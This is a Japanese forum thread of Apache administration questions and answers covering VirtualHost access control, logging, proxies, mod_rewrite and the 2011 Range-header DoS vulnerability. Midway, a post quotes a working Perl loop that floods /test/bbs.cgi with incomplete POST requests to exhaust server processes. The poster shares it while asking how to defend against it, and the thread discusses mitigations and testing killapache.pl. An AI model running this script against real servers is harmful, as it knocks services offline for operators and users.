LocationとかDirectory内(ディレクトリコンテキスト)に書くより、 トップレベルとかVirtualHost内(サーバーコンテキスト)に書くほうがはるかに簡単
apache3て何がいいの? 今は2.2を使ってるけど
あれ、2.4のために開発中の2.3を放置していきなり3?
>>398 そりゃあそうなんだけど。
>サイト別にアクセス制限したくて。
とか書きにくいところが困りもの。
トップレベルとVirtualHostセクションは
一回しか書けないんで、記述の
整理がやりにくい。
402 :
名無しさん@お腹いっぱい。 :2010/08/04(水) 23:58:52
>>402 の続き:
/etc/apache2/sites-available/default は以下のようになっていて
(apt で apache をインストールした直後)
「ここから追記した」というブロックを追記した後、
http://example.jp/cgi-bin/viewvc.cgi にアクセスしても認証ダイアログが出ませんでした。
<Directory "/usr/lib/cgi-bin"> のところで AllowOverride None しているから?
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
</Directory>
>>403 の続き:
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory> ←ここまで apt でインストールしたときのままの状態
<Directory "/usr/lib/cgi-bin/viewvc.cgi"> ←ここから追記した
AuthType Basic
AuthName "Subversion Repository"
AuthUserFile /etc/apache2/hoge.passwd
require valid-user
</Directory>
〜
406 :
名無しさん@お腹いっぱい。 :2010/08/28(土) 16:13:56
FreeBSD6.2, Apache1.3.42, PHP5.3, Python2.7にてmod_pythonがsegmentasion Faultで落ちました。 んで、mod_wsgiをインストールしようとしたのですが、Pythonを--without-thread指定しないとコンパイルが通りません。 --without-threadを付けてPythonをインストール後、mod_wsgiをインストールしようとすると、PythonのThredを有効にしてインストールしろと怒られます。 何か解決方法はありますか…?orz
FreeBSD6(ry 査読中止。
もちけつ
409 :
406 :2010/08/28(土) 21:14:25
あー、うん。 FreeBSD8.0, Apache2.2.16, PHP5.3, MySQL5.1, Python2.7, mod_wsgi3.3 で動きました。 あー、うん、うん、うん…。orz
410 :
378 :2010/09/19(日) 03:41:24
セッションとセクションの違いがわかる大人になってから出直してください。
412 :
410 :2010/09/19(日) 08:22:56
マルチセッションですね 分かる方いらっしゃいましたらお願いしますm(__)m
>>410 apache あんまり関係ない...
OS のポリシールーティング+αや
ブロードバンドルータならNATで
別ポートで動かした apache 2つにつなげればいいんじゃね
OS でPPPoEセッション張ってるならIPベースは確かにいけるね
OS という表現は変だな サーバマシンでってことで。 ついでに、サーバマシンに2IP ふれば ルーターかましててもIPベースだけで ことが足りるのかな
まてよ、PPPoEってことはiPアドレス不定だから設定ファイルにIPアドレスを書けないな。 その辺は工夫が必要だ。たとえばiptableで固定のIPアドレスに転送するとか、 設定ファイルを動的に書き換えるようにするとか。
418 :
410 :2010/09/20(月) 13:07:30
皆さんありがとうございます
>>413 のいうバーチャルホストで振り分けする方式にしました
419 :
Perl忍者 ◆M5ZWRnXOj6 :2010/09/26(日) 17:54:29
mod_perlをubuntu10.01にいれた ... waiting .[Sun Sep 26 17:52:00 2010] [warn] module perl_module is already loaded, skipping これは読み込まれてるのわかってる 他の場所でよみこまれてる ここで再読み込みしてる LoadModule perl_module /usr/lib/apache2/modules/mod_perl.so <IfModule mod_perl.c> AddHandler perl-script .cgi PerlHandler ModPerl::Registry PerlSendHeader On </IfModule> だけど #LoadModule perl_module /usr/lib/apache2/modules/mod_perl.so でコメントアウトして ENVのSERVER_SOFTWAREみても SERVER_SOFTWARE:Apache/2.2.14 (Ubuntu) ってだけ mod_perlってでない 読み込まれてちゃんとロードされてるのにmod_perl なんでSERVER_SOFTWARE二表示されない おしえて
420 :
Perl忍者 ◆M5ZWRnXOj6 :2010/09/26(日) 17:57:24
libapache2-mod-perl2はいれてあるよ
ServerTokens じゃないよなまさか・・?
422 :
Perl忍者 ◆M5ZWRnXOj6 :2010/09/26(日) 20:01:11
サーバー友君だった・・・ 無駄にわけやがってファイルきもい conf.d/securityにかかないときかなかった
423 :
名無しさん@お腹いっぱい。 :2010/11/14(日) 18:08:47
ログフォーマットについて質問します。
今ログは
isp.example.com - - [14/Nov/2010:18:05:25 +0900] "GET /foo.htm HTTP/1.1" 200 318 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ja; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
のような形式なのですが、
GET /foo.htm ではなく GET
http://example.net/foo.htm のようにドメインまで表示するようにするには
どうすればいいのでしょうか?
2.2.17のapr_pstrdupにバグ apr_pallocが確保したメモリは初期化されていない → memcpy(NULL文字コピーされず)
と思ったけど、NULL文字列までコピーしてたので違ったorz
> NULL文字 これだけで、超初心者とわかるから報告しなくて良いよ。 > NULL文字列 更笑
429 :
名無しさん@お腹いっぱい。 :2010/12/19(日) 13:48:05
loadbalancerってapacheのmod_proxy_balancerとipvsadmってどっちがいいの?
431 :
名無しさん@お腹いっぱい。 :2010/12/19(日) 18:26:06
知らないなら黙ってろよ
適等なことを書き散らかせばいい
mod_proxyとLVSを比較して「どっちがいいの?」というような質問をするということは 冗長化や負荷分散に関してほとんど知識がない人ということだから、推奨するとすればmod_proxyのほうでしょう もっといえばmod_proxyを使いこなすのは難しいでしょうから、おすすめとしてはpoundです
いや、そういう人へのオススメは「アウトソースしろ」でしょ。
コンサルタントを雇いましょう。
mod_pythonをいれてpythonを動かしいます。 httpd.confで PythonHandler test にして、test.pyを動かしているのですが、このようにファイル名をいちいち指定しないで動かすにはどうしたらいいでしょうか?
mod_rewrite
441 :
名無しさん@お腹いっぱい。 :2011/01/23(日) 18:47:18
質問です。 Apacheのaccess_logの見方についてですが、以下の304はなんと表現するのが正しいのでしょうか? xxx.xxx.xxx.xxx - test [23/Jan/2011:18:16:15 +0900] "GET /test.css HTTP/1.1" 304 - 順番に アクセスしてきた相手のIPアドレス 認証があった場合に使用されたユーザID アクセスされたサーバ時刻 GETはリクエストヘッダー、GET方式での呼び出し /test.cssはファイル名、 HTTP/1.1はプロトコルバージョン 304は・・・?? よろしくお願いします。
HTTPステータスコード
もしかして304ってキャッシュ呼び出しですかね? 例えば304のかわりに200で後ろが-でなく数値があれば、リクエスト通って、実際に送出したデータ量(バイト) という認識でOKですよね。自己解決しました
なぜ規格書(RFC)にあたらないのだ? 死んだ曾々爺さんの遺言か?
遺言のことよくご存知ですね。 そうなんですよ。
grep MSIE access_log | sed -e 's/.*\(MSIE [0-9\.]*\).*/\1/' | sort | uniq -c | sort -rn
自宅サーバで動的DNSをしていると 再起動したあとにIPアドレスが変わり名前と違うようになるみたいで apacheが立ち上がったときに https だけがこけています。(httpはOK) その後落ち着いてから apache を再起動すると https もうまく起動します。 これを最初から https もこけずに起動できるようにするにはどうすればよいでしょうか。
ちょっと sleep してから上げる、とか。
pppのリンクアップでrestartとかどーよ?
ServerName書くだけで済むんじゃね。
IPv4ならNATで内部用固定アドレスに向かわせて Apacheはその固定アドレス:443をListenさせるとかw IPv6はどう対処させようか。 サーバなのにtempaddrで運用するってのもアレだけどw
笑うほどのことか?
453 :
447 :2011/03/17(木) 19:07:02.36
ServerName をかくといけたようです。様々なアイデアありがとうございました!
apache 1.3系の頃はBASIC認証の失敗時にも ログにそのユーザ名が記録されていたんだけど 2.2系に変更したら失敗時は"-"と記録されるようになった。 2.2でも1.3のようにログすることってできないかな?
2.2.17 で試してみたけど、そんなことない。 ユーザにプロンプトが出る前に一回 401 が返るけどそのログと見間違えてる? mod_log_config.c の log_remote_user を見ても、- になるのは NULL のときだよ。
>>456 うん、マニュアルと一致しなくておかしいなぁ、と思ってた。
>>457 う〜ん、なんでだろう。見間違いはないんだけよね。
でもうち以外では挙動が違うってのはうれしい情報。
もうちょっと調べてみる。
459 :
名無しさん@お腹いっぱい。 :2011/05/10(火) 12:06:13.87
質問させてください。 apacheのプロセス番号からアクセスしているURLを調べることってできますでしょうか? ご教示いただけると幸いです。
mod_status
strace
462 :
忍法帖【Lv=4,xxxP】 :2011/05/17(火) 13:18:40.00
ErrorDocument 404 /usr/home/foo/bar/404.html のように、ローカルの絶対パスで指定ってできないんでしょうか? 環境httpdバージョン2.2
できるよ。
>>462 先に
Alias /404.html /usr/home/foo/bar/404.html
すればよくね?
466 :
忍法帖【Lv=4,xxxP】 :2011/05/18(水) 05:00:26.65
>>465 そうやるしかなさそうですね。ありがとございます。
>>459 モジュール内部でgetpidとrequest_recみてやればいい。
質問です。
マルチポストすみません。
以下の設定が前提です。
■ ディレクトリ構成(一部抜粋)
/var/www/hoge
/var/www/hoge/hage
/var/www/hoge/hage/hige
■ httpd.conf(一部抜粋)
DocumentRoot /var/www/html
Alias /hage /var/www/hoge/hage
<Directory "/var/www/hoge/hage">
SSLRequireSSL
ErrorDocument 403 "SSL Require ->
https:// "
AllowOverride All
Order allow,deny
Allow from all
</Directory>
【やりたいこと】
ディレクトリ /hage「だけ」に SSL をかけたいです。
【こまっていること】
上記設定ですと、/hage/hige にも SSL がかかってしまいます。
/hage にだけ SSL をかけることはできますでしょうか?
(そもそもの設定が間違っている可能性大ですが)
よろしくお願いいたします。
マルチポストはしないでください。
VirtualHostを複数立てて、どれのServerNameにもマッチしないときには 一番上に書いたものにマッチするそうですが、これを拒否する方法はありますか?
一番上で拒否すればええやん
/home/test/public_html/ ディレクトリと /home/test/admin/test.cgi というファイルがあってこのtest.cgiを 実行させたいんですが、以下のようにすると client denied by server configuration で動きません。 <VirtualHost 123.123.123.123:80> DocumentRoot /home/test/public_html ServerName www.test.com ScriptAlias /ugoke/ "/home/test/admin/" </VirtualHost> /home/test/public_html/test.cgi に置くと問題なく動くんですが ScriptAliasはDocumentRootの下を指定しないといけないんでしょうか? Apache1.3系だと上のような設定で動いているんですが・・・ 今は2.0.64です。
> ScriptAliasはDocumentRootの下を指定しないといけないんでしょうか? そんなことはない。注意事項がマニュアルに書いてある。 マニュアルも読まない奴はサーバー管理しちゃいけないというトラップ。
ホントだ・・・ScriptAliasの箇所だけみてた。 ありがつ。
microformatsのrel-tagを使うためにはapahceで何か設定が必要ですか? ググっても何も出てこないよ
476 :
忍法帖【Lv=3,xxxP】 :2011/06/03(金) 15:35:07.41
age
HTMLでそう書けばいいだけの話なのでApacheは関係してこないと思うが。
478 :
240 :2011/06/04(土) 13:40:48.27
____ / \ / _ノ ヽ、_ \ / o゚⌒ ⌒゚o \ 今日もまた、 | (__人__) | /usr/local/apache2/bin/apachctl start \ ` ⌒´ / を打ち間違える仕事が始まったお…
>>477 HTMLで記述してもうまく動かないからサーバーの方に問題があるのかと思いまして・・・
debianでapache2をインストール後間違ってapache2を削除してしまい、再度インストールしようとすると 「Sub-process /usr/bin/dpkg returned an error code」 と出てしまいます。 どうしたら再インストール出来るか教えてください。
でびあんから再インストールすれば良いよ。
>>482 1から設定しなおすのが大変なので他にないでしょうか?
あるだろうけど、適切な場所で質問しなけりゃ解は得られないだろうね。
たぶん479=481
apacheとmod_wsgiでアプリケーションを動かしています。 ログイン情報などをsessionで保存しているのですが、これを一度クリアすることってできますか?
>>481 その an error code がなんなのかわからないと答えようがないと思うが。
Debian 限定の話は Debian スレへ。
489 :
名無しさん@お腹いっぱい。 :2011/06/16(木) 04:07:49.48
スレ違いかもしれませんがmod_Jkのフェイルオーバについて知っている方がいたら教えてください。 Webサーバ2台、APサーバ2台で構成しており、workers.propertiesは 以下のものがWebサーバ2台ともに入っています。 === worker.list=wlb worker.w1.type=ajp13 worker.w1.host=192.168.0.201 worker.w1.port=8009 worker.w1.redirect=w2 worker.w2.type=ajp13 worker.w2.host=192.168.0.202 worker.w2.port=8009 worker.w2.activation=disable worker.wlb.type=lb worker.wlb.balance_workers=w1,w2 worker.wlb.sticky_session=True === w1がダウンし続けた場合、mod_jkは定期的にw1にリクエストを送り、失敗したのちまたw2にフェイルオーバするという仕様になっているのでしょうか? recovery_optionの設定も見たのですが、デフォルトが0ということでこの場合にどのような動作になるのかがわかりません。 環境は以下の通りです。 Fedora12 Apache2.2 mod_jk1.2.30 よろしくお願いいたします。
490 :
名無しさん@お腹いっぱい。 :2011/06/22(水) 22:02:32.13
見つからないね。 違ってると思うけど、mod_extract_forwarded ではダメ?・・・だよね
おー 頭いいな
検索してたら ports の Makefile が引っかかったから、 どっかにあると思ってたけど 492 さんには本当に感謝。 自分も昨日から急遽 source が必要になったから焦ってた。
mod_rewriteの設定数に上限はありますでしょうか RewriteCond %{DOCUMENT_ROOT}/%{REQUEST_FILENAME} !-d RewriteCond %{DOCUMENT_ROOT}/%{REQUEST_FILENAME} !-f RewriteRule ^/item/(.*)\.html /item/detail.php?id=$1 [P,QSA,NE,L] このような設定がサイトごとに3つあり、10サイト稼働しています サイトを増やしたところ$1が空でした ログを見ると条件にマッチしてましたが、$1が空になってしまうのです 他のサイトを一時的に消したところ、なぜか期待通りの動きになりました apacheのバージョンは2.2.9です 何かお分かりになりますでしょうか
mod_rewriteってのはそれ以外の手段がまったくない場合にかぎって しかたなく使うのが許されるウンコであって、 それを通常運用としてしまうのはウンコ以下。 ウンコの限界を極めるウンコ仕事をするよりも、 ウンコを使わないで済むようにスクリプトの方を修正した方がいい。 具体的には、 AliasMatch ^/item/.*\.html /item/detail.php として、呼ばれたURLから.*の部分を拾うようdetail.phpを書き換える。
Apache2.2を使って、ホワイトリスト型のフォワードプロキシ
(事前に指定したサイトしかアクセスできないように設定)
を作ろうとしているのですが、設定が上手くいかないです。
下記、例としてyahooおよびgoogleのみアクセスを許可して、
それ以外のサイトをアクセス拒否させる目的で設定しましたが、
一番上のアクセス拒否の設定が優先されてしまうため、
全てのサイトへのアクセスが拒否されてしまいます。
●現在の設定例(一部抜粋)
<Proxy *>
Order deny,allow
Deny from all
</Proxy>
<Proxy
http://www.yahoo.co.jp/* >
Order allow,deny
Allow from all
</Proxy>
<Proxy
http://www.google.co.jp/* >
Order allow,deny
Allow from all
</Proxy>
上記、あて先がyahooとgoogleのみアクセス許可して、
それ以外のサイトへのアクセスを拒否したいのですが、
Apache2.2でそれを行う方法はあるのでしょうか?
(configの記載順による優先順位の問題でしょうか?)
上記、わかる方がいれば、教えていただけると助かります。
よろしくお願いいたします。
ApacheのMPM改造したいんだけど。具体的には、バーチャルホストごとに帯域制御をしたい 参考になるサイトとかって無いかな。もしくは、やったことある人いる?
ApacheってDos攻撃対策大丈夫なの?
というと?
Apache自身にやらせたいならmod-dosdetector
ソースコード見る限り、mod_evasiveとかmod_dosdetectorとかだと弱いんだよ。 相手からのリクエストを読んでから、遮断するから。 相手が接続だけして、何もデータを送ってこないと接続数がふくれあがるはず。実験してないけど しかも、遮断する前にスレッドなりプロセスなりを割り当てるから、リソースが無駄。 本来は、acceptした時点でIPアドレスがわかるわけだから、それを振り分ける前に遮断するべき
それはファイヤーウォールの仕事では
その手があったか。ありがとう
なんか無知な学生がレポート書きの手伝いを求めてるようなふいんきだな
>>506 そんな感じですね。
ぼんやりしたやり取りがたまらないw
うちは帯域制御はmod_cband DoS対策はmod_security CentOS5.x/Apache2.2.xで安定して使ってるよ
たまに刺さってmod_cbandが発狂するので、一時間に一回再起動させて運用してるよ。。 なんか帯域カウンターが戻らなくて溜まってしまう感じ
>>505 不完全なのは知ってのことなのか。世界の誰か頑張れよ
俺がもっといいmpm作ろうかな。性能がよければ有名になれるかなwww
分離してうまく作れるんじゃないかとあれこれ試行錯誤するが 結局のところモジュール本体に改造を入れることって多いよね。。。
>>511 だったら作って有名になってみればいいじゃんw
514 :
509 :2011/07/25(月) 10:37:52.60
ソースは追いかけて何処の変数がインクリメントしっぱなしかは確認したけど 複数プロセスで共有してる奴で、どっかで突然死するプロセスが居ればさもありなんて感じ 発生頻度も週一くらいで、何台かで回してるサービスだし面倒
2.4 に mod_ratelimit ってのが入るので、先取りしてバージョン上げちゃえ。
449 忍法帖【Lv=40,xxxPT】 ◆8huU.uGZBA sage 2011/08/03(水) 15:02:01.85 ID:49.133.48.168 0
サーバへにリクエストが来た時、リクエストを受け取るまでhttpdは待っているわけだ
しかしcontentslength分だけ受け取りたいけど待てど暮らせど送ってこないから
httpd.confのtimeoutするまでそのhttpdプロセスがブロックされるんだな
そしてそれがたーくさんたまる、売り切れまで溜まる
売り切れたらそれ以降のhttpの要求は受け付けなくなる
攻撃がやんだらブロックされているhttpdは順次timeoutで開放され
だんだんいつもの状態に近づく
こうなんじゃないかな?
456 ◆IOT1IIO1ILUU-さる♪ sage 2011/08/03(水) 15:06:18.97 ID:219.106.108.87 0
>>449 大体はそんな感じです。
少し違うのは、Content-Lengthは関係ありません。
中途半端なHTTPリクエストであってもApacheが律儀にTCPのタイムアウトまでリソースを確保して待ってしまうのが原因なので、
それこそTCPで何か少しでもデータを送ってやれば、HTTPリクエストとして完全に破綻していてもApacheは落ちます。
なのでHTTPのヘッダに着目して対策するのは無理です。
こんな感じなんだけどどうやったら対策できる?
攻撃元のスクリプトは以下
433 名無しさん@お腹いっぱい。 sage 2011/08/03(水) 14:51:01.84 ID:81.94.203.180 0
スクリプト自体はマルチスレッドでBBS.CGIを叩くだけなんだよな
こんな感じで
my $ref = sub{
while(){
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname( 'tcp'));
connect(SOCK, sockaddr_in("80", $ipaddr));
select(SOCK);
$|=1;
select(STDOUT);
print SOCK "POST /test/bbs.cgi HTTP/1.1\r\n";
print SOCK "Accept: */*\r\n";
print SOCK "Referer:
http://$sv " . "/news/\r\n";
print SOCK "Accept-Language: ja,en;q=0.5\r\n";
print SOCK "Content-Type: application/x-www-form-urlencoded\r\n";
print SOCK "Accept-Encoding: gzip, deflate\r\n";
print SOCK "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)\r\n";
print SOCK "Host: $sv\r\n";
print SOCK "Content-Length: 1\r\n";
print SOCK "Connection: Keep-Alive\r\n";
print SOCK "\r\n";
close(SOCK);
threads->yield();
}
};
slowloris 対策なら RequestReadTimeout で。
ブラウザでリクエストヘッダーに
Keep-Aliveの時間を指定した場合、どういう時間を指し示すのでしょうか?
Wikipediaを見ていてふと疑問に思いました。
Keepalive time is the duration between two keepalive transmissions in idle condition. TCP keepalive period is required to be configurable and by default is set to no less than 2 hours.
Keepalive interval is the duration between two successive keepalive retransmissions, if acknowledgement to the previous keepalive transmission is not received.
http://en.wikipedia.org/wiki/Keepalive
TCP keepaliveの説明を引用してくるバカがおる
フイタw
wgetで直アクセスすると404 Not Foundを返して来て、 telnetでアクセス(HEAD /some/foo/hoge.jpg HTTP/1.0)しても404を返してくるサーバがあります。 それなのに、chromeでアクセスすると画像が表示されます。 これってどういう設定なのでしょうか? telnetやwgetでchromeと同じ結果を得るためには、どうアクセスするべきなのでしょうか?
524 :
509 :2011/08/09(火) 10:40:40.07
UAとかホスト名指定とかじゃあ?
ホスト名やリファラによる制限はブラウザと関係ないし ユーザエージェント制限の可能性があるけどその場合は404じゃんくて403だよね
何を返してくるかは相手次第だろうに403と決めてかかるとかw
403を404エラーとして返すサーバならそうだろうけど、わざわざそうする理由があるサーバということだよね?
ErrorDocumentを指定していてその先で404にすげ替えるとか。
>>528 軽い気持ちで404返してるかも知れないのにお前は何を言ってるんだ?
528は恥ずかしくてつい恥の上塗りでしょ
fc2とかリファラで404返してくるじゃん
違うドメイン名へのアクセスをエラーにしたいんだけど
どう設定したらいいかな。
chinkoサーバに
http://unko/ というアクセスがあったとき
200でなく404とか適切なエラーを返したい
VirtualHost
Hostヘッダーを見てはじけばいい
CVE-2011-3192 Range header DoS vulnerability Apache HTTPD 1.3/2.x 1) Use SetEnvIf or mod_rewrite to detect a large number of ranges and then either ignore the Range: header or reject the request. Option 1: (Apache 2.0 and 2.2) # Drop the Range header when more than 5 ranges. # CVE-2011-3192 SetEnvIf Range (,.*?){5,} bad-range=1 RequestHeader unset Range env=bad-range # optional logging. CustomLog logs/range-CVE-2011-3192.log common env=bad-range 対策してね。
537 :
名無しさん@お腹いっぱい。 :2011/08/25(木) 22:01:49.96
お前らどころか2chが盛大に落とされたわけだが、他のサイトでは対策してあんのかな
2chが盛大に落ちたんだから他の奴等はこれはヤバいwと気づいて対策するだろうよ。 問題は2chが落ちた原因が ApacheKillerだと認識されてるかどうかだが。 2ch来てない奴には通用しないかも。ニュース系サイトでの取扱い鈍いし。
WAは検証して使えなかったから、ソース待ち お前らちゃんと検証しろよな
>>543 あんまし困らないけどenv=bad-req-rangeの定義がないような気がする・・・。
SetEnvIf漏れ?
httpd-devはヲチっとけ
LoadModuleにある、mod_authxxxxxっていっぱいあるけど、 「使ってないぞコレ」と思ったらコメントアウトしてOK? なんか気を付けることがあったらおしえてください。
まずはドキュメント読みなよ。
>548 一応Apacheのところを読んではいるんですが、 「××する機能」とはあるんですが、止めたら何が問題か?は書いてないですよね? ノウハウっぽいところがあるのかな?と。
「××する機能」がいらないなら止めていいんじゃね。
全部コメントアウトして、動くようになるまで追加する。
モジュールのページを見ると そのモジュールが提供するディレクティブ一覧が載ってる。 そのディレクティブを使ってなければたいていいらない。
>550-552 大体そんな方針で良いみたいですね ある程度最初からonにしてあるのは利便性のタメかな?
ある程度というより、configure時にsharedで有効にしたものは全部onになってるぞ
apacheを使い始めたばかりの者ですが、よく分からないことがあります。 apacheのドキュメントルート直下に/cgi-bin/という名前のフォルダを作ると、 Forbiddenとなってしまい、それ以下のファイルを参照することが出来なくなってしまいます。 直下に/cgi-bin/を配置するのではなく、/test/cgi-bin/というようにワンクッション置けば参照できるようになります。 これは正常な動作なのでしょうか? また、これが正常な動作である場合、ドキュメントルート直下に/cgi-bin/というフォルダを置いても Forbiddenにならないようにするにはどのように設定を変更すればよいのでしょうか? 教えていただきたいです。
557 :
555 :2011/08/30(火) 12:28:42.47
>>556 ありがとうございます。
つまり、ドキュメントルート直下に/cgi-bin/を作成すると、ScriptAliasの設定と競合する形になってしまうってことですかね?
それでScriptAliasの設定が優先されるので、自分で作成した/cgi-bin/はForbiddenになってしまうと。
あと、単純な質問になってしまいますが、そもそもScriptAliasの設定したディレクトリにcgiを置くメリットってなんなんでしょうか?
cgi自体をダウンロードされたり表示されないようにするためだと記してあるサイトが多いようですが、
ScriptAliasに置かなくてもcgiにアクセスしたら、結局はプログラムが実行された後の結果しか与えられないと考えていたのですが。
ScriptAliasで設定したディレクトリ以外に置かれたcgiというのは、その中身が簡単にみられてしまったりするのでしょうか?
>>557 > つまり、ドキュメントルート直下に/cgi-bin/を作成すると、ScriptAliasの設定と競合する形になってしまうってことですかね?
ScriptAlias の指定が優先されてドキュメントルートの方の /cgi-bin/ は参照されない。
> あと、単純な質問になってしまいますが、そもそもScriptAliasの設定したディレクトリにcgiを置くメリットってなんなんでしょうか?
一ヶ所に集めておくと管理しやすい。
あやしいプログラムをユーザに勝手に置かれるのを防ぐ。
559 :
555 :2011/08/30(火) 14:09:15.85
>>558 解説ありがとうございます。
>あやしいプログラムをユーザに勝手に置かれるのを防ぐ。
これはつまりセキュリティの事を考慮すると、cgiはScriptAliasで設定したディレクトリに置いた方がよいということですよね。
この質問とは別のことになりますが、例えばページの管理者だけが使用することを目的としたcgiを作成した場合、
ドキュメントルート下にhtaccessの設定でBasic認証を有効にしたディレクトリにそのcgiを置くよりも、
ScriptAliasで設定したディレクトリにそのcgiを置いた方がセキュリティ面では良いということになるのでしょうか?
>>559 管理しきれるならどこに置いてもいいんじゃね。
あと、自分と同じディレクトリにデータファイルを作るようなプログラムがあった場合に
ScriptAlias 以下ならそのファイルを覗かれることがない、っていう利点もあるにはある。
副次的な効果だけど。
そんなプログラム作る方が悪いんだけど。
561 :
555 :2011/08/30(火) 14:34:43.13
>>560 とりあえず、初心者なのでScriptAliasで設定したディレクトリにcgiを集めることにしてみます。
お答えくださってありがとうございました。
2.2.20
早速上げたった。 テストは面倒だからしてない(・∀・)y‐┛~~
1.3系使ってる人はどうするの? まだまだ沢山いると思うんだけど...
いいかげん 2.x に乗り換えれ。
自分のサーバーなら2.2系使ってるんだけどね... 仕事先のだとなかなか...
1.3系のパッチの予定はないのかな?
ないよ。
2.2.20速いぞ
2.0系のパッチの予定はないのかな?
自分でバックポートしれ そして配布しれ
2.0.x は出す 1.3.x は出さないと言ってた気がする
早い対応、めでたし。 今回の脆弱性で実際に攻撃を受けたってサイトはあるの?
ウフフ
583 :
名無しさん@お腹いっぱい。 :2011/09/01(木) 18:50:37.25
Apache Killerの件で 落としてみて報告してくれと無茶ぶりされて、 必死こいて頑張っていますが、 killapache.pl を使って、 1.3.xでは落ちません。 2.2.xでは落ちました。 変な話ですが、1.3.xで落とせた方はいらっしゃいますか?
つまり1.3最強という事ですね。
1.3はinetdモード使えるから今でも重宝してる
ちゃんとプロセス数増やしてメモリ潰さないと止まらないっしょ
>>586 TCP Wrapper が使いたいとか?
590 :
名無しさん@お腹いっぱい。 :2011/09/01(木) 22:40:19.55
583です。 MaxClientsを下げて10にしましたが、ビクともしません。 そもそもkillapache.plの 28行目 for ($k=0;$k<1300;$k++) { を for ($k=5;$k<1300;$k++) { としないと 206 Partial Content が返りませんでした。200が返りました。 2.2.xでは、何もしなくても206が返りました。 再現方法が違うのでしょうか?
592 :
名無しさん@お腹いっぱい。 :2011/09/01(木) 23:09:15.40
>>591 583です。
そんな今さら・・・
Apache 1.3 is NOT vulnerable.
えっ!?
UPDATE2までしか見ていませんでした。
ありがとうございました!
わかりました。apache_1.3.42 に戻します。
え?1.3系は大丈夫だったの?
ログ読んでみたら。
ログは File is not found が並んでるだけなんだよね。 ていうか、パラメータ渡すと not found になる設定ってあるのかな。 昨日まで正常だったのに、いきなりこの現象が発生してわけわからんのです。
何も変更してないならrestartしてみたら?
restartはしたんすよ。変わらずです。 おれ以外にも管理者はいるから誰かが 何かを書き換えた可能性はなくはないんだよね。 ?でパラメータ渡すと別ファイルとして認識されちゃうってことだよね多分これ。
書き換えた人に聞いた方が早くない? confの日付で実際更新されてるか分かるだろうし。
>>596 Rewrite使ってる?
Apache Killerの件で設定変えたとか。
>>602 Rewriteは、してないね。
killapache対策はしたけど、数日前なので、タイミングは合致しないなー。
POSTした場合はどうなりますか?
普通設定いじる前にバックアップとらない? diffすればいいんじゃない?
>> 601 誰が何を変更したのかがわかる状況ではないんだよね。confの更新日はkillapache対策の時だね。昨日じゃない。 ためしにRange周りの設定をオフってみたけど関係ないみたい。 >> 604 FirefoxのHackbarってアドオン使ってPOSTしてみた限りでは問題なかべおん。 てかさ、 /js/jquery.js だとアクセスできて /js/jqueyr.js?test でNot Foundになるってどおゆうことなんだろう。んなことある?
>>606 うだうだ書いてるヒマあったら他の管理者どもに話を訊けよアホ
あと設定ファイルの変更履歴とれやボケ
まずは管理体制の見直しからだな。
これを機にIISに切り替えよう。
>>607 どのブラウザでも一緒だね。
IP直打ちとVirtualHostで動作が違うってのがポイントだと思ってずっと調べてるけど、未だ解決できず。
>>608 confに変更はない。他の管理者は連絡とれず。やーここの人なら「そりゃおめー原因はあれだよ」ってなるかなと
思ってさ。自力で調べつつ、わらにもすがる思いで聞いとります。
>>611 config晒せば。
何らかの意図があって設定を変更しているのなら
設定を戻せば良いって話でもない気がするけど。
>>611 >IP直打ちとVirtualHostで動作が違うってのがポイントだと思ってずっと調べてるけど、未だ解決できず。
そこじゃないかもしれんぞな。
/js/jqueyr.js?test
↑↑↑↑
尻尾つきで、POSTするとどない?エラー?
>>614 POSTとGET関係ないと。
VirtualHostとの時だけ変なら、
試しに、違うドメインを追加(VirtualHost)して、そっちでも変になりますか?
差し障り範囲(ドメインとか、IPとかXXXして)で、confを見せていただけると、何か分かるかもね。
apacheバージョンとか、組み込んでるモジュールとか
616 :
名無しさん@お腹いっぱい。 :2011/09/06(火) 07:41:07.60
遅ればせながらapache killer対策に取りかかっています 巨大なファイルを扱っていない限りrangeヘッダに非対応でもいいので RequestHeader unset Range RequestHeader unset Request-Range 二行追加でよろしいでしょうか?
バージョンチェックも入れました <IfVersion < 2.2.20> RequestHeader unset Range RequestHeader unset Request-Range </IfVersion>
話の流れに割り込むような形になってしまい申し訳ありませんが、Apache初心者の質問をさせてください。 Apacheにおける環境変数QUERY_STRINGの呼び出しに関する質問です。 Apache上に置いてあるshtml内にGETメソッドのフォームを設置しています。 フォームのテキストボックス内に日本語で文字を入力してsubmitボタンを押し、 新しく表示されたshtml内でSSIを使用して、cgiで環境変数QUERY_STRINGをshtml内に表示しようとしています。 テキストボックスに何も入力しない場合や半角英数字のみを入力した場合は正しく習得され、 cgiによってshtml内に環境変数QUERY_STRINGのデータがしっかりと表示されるのですが、 テキストボックス内に日本語を入力した場合は、shtml内に環境変数QUERY_STRINGの中身が 何もない状態であるかのように表示されてしまいます。つまり、『?』以降が何も表示されないということです。 しかし、テキストボックス内に日本語を入力した場合でも、新しく表示されたshtmlのURLには入力した文字データが GETメソッドとして正常に受け取られているように表示されています。 AN HTTPDで全く同じshtmlおよびcgiを使用した場合は、日本語を入力してもshtml内にその結果が正しく表示されるので、 Apache内の何かが原因であるのではないかなと考えているのですが、よく分かりません。 お分かりになる方おられましたら、どうかよろしくお願いします。
謙譲語・・
それはわかっておりますw shtmlがUTF-8じゃないんだろw
>>598 LogLevel debug を設定したらヒントが出るかもしれない。
連投ですまん。
あと、
>>596 を見て思うのは、
huge.shit.com/test.php?param=xxx のときは
"test.php?param=xxx" というファイルを探しに行ってるんじゃないかと・・・
まぁ、バーチャルホスト内の設定のどこかがおかしいんだろう。
あとは .htaccess が置いてあったりとか。
623 :
618 :2011/09/07(水) 01:01:45.37
>>620 おっしゃるとおり、shtmlはUTF-8ではなくShift_JISで作成したものです。
UTF-8のページにしたところ、日本語のデータを表示することができました。
ありがとうございました。
